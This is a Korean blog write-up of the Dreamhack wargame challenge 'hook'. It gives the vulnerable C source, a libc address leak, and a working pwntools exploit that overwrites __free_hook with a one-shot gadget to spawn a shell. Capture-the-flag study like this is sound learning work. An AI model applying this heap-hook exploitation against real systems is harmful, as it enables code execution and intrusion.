혜랑's STORY

[Dreamhack Wargame] hook 본문

2021 SISS 21기 활동/2학시 시스템

[Dreamhack Wargame] hook

hyerang0125 2021. 11. 21. 21:43

먼저 주어진 파일을 다운받아 코드의 흐름을 살펴보자.

hook.c
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);
   
    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

 

코드를 살펴본 결과 라이브러리 내에 존재하는 stdout 포인터를 통해 라이브러리의 베이스 주소를 알아낼 수 있었다. 이를 통해 __malloc_hook과 __free_hook의 주소를 알아낼 수 있다.

hook 실행 결과

해당 주소를 알아낸 뒤 _hook을 덮어씀으로써 두 번재 free 함수가 호출될 때 pc를 조작할 수 있다.

__malloc_hook과 __free_hook의 주소 및 오프셋을 gdb를 통해 알아내 보자.

 

이 경우 __malloc_hook의 오프셋은 0x3c4b10, __free_hook의 오프셋은 0x3c67a8이다. 이를 원샷가젯으로 덮으면 쉘을 획득할 수 있다.

stdout 포인터를 통해 라이브러리의 베이스 주소를 구해보자.

libc_base = libc_stdout - 0x3c5620

지금까지 얻은 정보를 바탕으로 exploit code를 작성하였고, 원샷 가젯의 코드가 실행되어 쉘을 획득할 수 있다.

from pwn import *

p = remote('host1.dreamhack.games', '16408')
libc = ELF('./libc.so.6')
e = ELF('./hook')


print p.recvuntil("stdout: ")

libc_stdout = int(p.recvuntil("\n").strip("\n"), 16)
libc_base = libc_stdout - 0x3c5620 	#libc.symbols['_IO_2_1_stdout_']
malloc_hook = libc_base + 0x3c4b10	#libc.symbols['__malloc_hook']
free_hook = libc_base + 0x3c67a8	#libc.symbols['__free_hook']
oneshot_gadget =  libc_base + 0x4526a

payload = p64(free_hook)
payload += p64(oneshot_gadget)

p.sendlineafter("Size: ", "400")
p.sendlineafter("Data: ", payload)

p.interactive()

실행 결과는 다음과 같다.